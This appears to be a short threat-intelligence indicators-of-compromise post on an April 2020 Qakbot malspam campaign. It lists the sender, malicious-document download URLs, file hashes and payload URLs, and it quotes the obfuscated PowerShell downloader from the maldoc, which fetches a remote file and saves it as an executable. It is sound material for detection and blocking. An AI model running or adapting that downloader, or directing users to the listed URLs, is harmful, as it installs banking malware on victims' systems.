2020-04-07 Qakbot IOCs

QAKBOT IOCs

SENDERS OBSERVED
Abrar Kazmi <[email protected]>

MALDOC DISTRIBUTION URLS
http://almohadonera.clichead.club/slider/7609639.zip
http://bienkich.edu.vn/slider/81828.zip
http://hashiniagrotech.com/wp-content/uploads/2020/04/slider/5188.zip
http://zumtellerrand.de/slider/9902.zip
https://anandtradingcompany.in/wp-content/uploads/2020/04/slider/0916332/0916332.zip
https://grieche.apptec24.com/slider/4375/4375.zip
https://jtechsolutionspk.com/wp-content/uploads/2020/04/slider/25093473/25093473.zip

ZIP FILE HASH
381c6f4adac6e4070e77004be6033ba4

DOCUMENT FILE HASH
e2200f54024d7f25d9ef67d172d59387

POWERSHELL FROM MALDOC
cmd /c powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovL3JldHJvYmFuZC51ay93cC1jb250ZW50L3VwbG9hZHMvMjAyMC8wNC9zbGlkZXIvNDQ0NDQ0LnBuZw==')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '1' + '.e' + 'x' + 'e') >C:\Users\Public\1.txt 2>&1

QAKBOT PAYLOAD
http://retroband.uk/wp-content/uploads/2020/04/slider/444444.png
http://wppunk.com/wp-content/uploads/2020/04/slider/444444.png
http://kramo.pl/wp-content/plugins/apikey/slider/444444.png
http://b.assignmentproff.com/amyceyaihd.png